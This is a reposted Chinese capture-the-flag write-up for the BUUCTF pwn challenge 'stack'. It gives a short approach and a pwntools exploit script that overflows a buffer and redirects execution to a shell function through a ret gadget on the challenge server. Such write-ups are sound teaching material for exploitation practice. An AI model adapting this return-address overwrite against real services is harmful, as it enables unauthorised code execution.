[BUUCTF-pwn]——[第六章 CTF之PWN章]stack
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——[第六章 CTF之PWN章]stack
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——[第六章 CTF之PWN章]stack
- 題目地址: https://buuoj.cn/challenges#[%E7%AC%AC%E5%85%AD%E7%AB%A0%20CTF%E4%B9%8BPWN%E7%AB%A0]stack
思路
一個簡單的棧溢出, 注意棧平衡就好
exploit
from pwn import * p = remote('node3.buuoj.cn',25385) shell = 0x0000000000400537 ret = 0x000000000040054E payload = 'a' * (0xa + 8) + p64(ret) + p64(shell) p.sendline(payload) p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——[第六章 CTF之PWN章]stack的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——ciscn_
- 下一篇: [BUUCTF-pwn]——wustct